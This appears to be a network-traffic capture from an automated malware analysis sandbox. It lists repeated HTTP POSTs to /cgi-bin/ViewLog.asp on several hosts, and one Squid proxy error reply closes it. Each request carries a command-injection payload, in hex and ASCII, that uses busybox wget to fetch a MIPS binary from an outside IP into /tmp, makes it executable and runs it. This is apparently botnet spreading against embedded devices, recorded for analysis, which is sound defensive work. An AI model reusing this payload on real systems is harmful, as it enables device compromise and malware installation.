Nov 23, 2023 05:15:00.134710073 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:15:12.166712046 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:15:36.486605883 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:16:25.638484001 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
2	192.168.2.13	47700	95.86.82.175	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:14:50.865978003 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
3	192.168.2.13	48320	85.69.27.156	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:14:50.995425940 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:14:51.558868885 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:14:52.646734953 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:14:55.014750957 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:14:59.366714001 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:15:08.070688963 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:15:26.246630907 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:16:01.062536955 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
4	192.168.2.13	49686	31.136.127.219	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:14:51.003494978 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:14:51.590840101 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:14:52.742719889 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:14:55.014727116 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:14:59.622714043 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:15:08.838685036 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:15:28.294631958 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:16:05.158631086 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
5	192.168.2.13	57484	31.200.60.86	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:14:51.886919022 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
6	192.168.2.13	57446	94.121.21.87	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:14:51.913736105 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
7	192.168.2.13	47508	94.142.130.30	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:14:52.250962973 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:14:52.353924036 CET	1314	IN	HTTP/1.1 400 Bad Request Server: squid/6.0.0-20220501-re899e0c27 Mime-Version: 1.0 Date: Thu, 23 Nov 2023 04:14:52 GMT Content-Type: text/html;charset=utf-8 Content-Length: 3572 X-Squid-Error: ERR_INVALID_URL 0 Vary: Accept-Language Content-Language: en Cache-Status: ezproxies.com Via: 1.1 ezproxies.com (squid/6.0.0-20220501-re899e0c27) Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 74 79 70 65 3d 22 63 6f 70 79 72 69 67 68 74 22 20 63 6f 6e 74 65 6e 74 3d 22 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 32 32 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e 45 52 52 4f 52 3a 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 72 65 74 72 69 65 76 65 64 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 20 0a 20 2f 2a 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 32 32 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 0a 20 2a 0a 20 2a 20 53 71 75 69 64 20 73 6f 66 74 77 61 72 65 20 69 73 20 64 69 73 74 72 69 62 75 74 65 64 20 75 6e 64 65 72 20 47 50 4c 76 32 2b 20 6c 69 63 65 6e 73 65 20 61 6e 64 20 69 6e 63 6c 75 64 65 73 0a 20 2a 20 63 6f 6e 74 72 69 62 75 74 69 6f 6e 73 20 66 72 6f 6d 20 6e 75 6d 65 72 6f 75 73 20 69 6e 64 69 76 69 64 75 61 6c 73 20 61 6e 64 20 6f 72 67 61 6e 69 7a 61 74 69 6f 6e 73 2e 0a 20 2a 20 50 6c 65 61 73 65 20 73 65 65 20 74 68 65 20 43 4f 50 59 49 4e 47 20 61 6e 64 20 43 4f 4e 54 52 49 42 55 54 4f 52 53 20 66 69 6c 65 73 20 66 6f 72 20 64 65 74 61 69 6c 73 2e 0a 20 2a 2f 0a 0a 2f 2a 0a 20 53 74 79 6c 65 73 68 65 65 74 20 66 6f 72 20 53 71 75 69 64 20 45 72 72 6f 72 20 70 61 67 65 73 0a 20 41 64 61 70 74 65 64 20 66 72 6f 6d 20 64 65 73 69 67 6e 20 62 79 20 46 72 65 65 20 43 53 53 20 54 65 6d 70 6c 61 74 65 73 0a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 66 72 65 65 63 73 73 74 65 6d 70 6c 61 74 65 73 2e 6f 72 67 0a 20 52 65 6c 65 61 73 65 64 20 66 6f 72 20 66 72 65 65 20 75 6e 64 65 72 20 61 20 43 72 65 61 74 69 76 65 20 43 6f 6d 6d 6f 6e 73 20 41 74 74 72 69 62 75 74 69 6f 6e 20 32 2e 35 20 4c 69 63 65 6e 73 65 0a 2a 2f 0a 0a 2f 2a 20 50 61 67 65 20 62 61 73 69 63 73 20 2a 2f 0a 2a 20 7b 0a 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 76 65 72 64 61 6e 61 2c 20 73 Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html><head><meta type="copyright" content="Copyright (C) 1996-2022 The Squid Software Foundation and contributors"><meta http-equiv="Content-Type" content="text/html; charset=utf-8"><title>ERROR: The requested URL could not be retrieved</title><style type="text/css">... /* * Copyright (C) 1996-2022 The Squid Software Foundation and contributors * * Squid software is distributed under GPLv2+ license and includes * contributions from numerous individuals and organizations. * Please see the COPYING and CONTRIBUTORS files for details. // Stylesheet for Squid Error pages 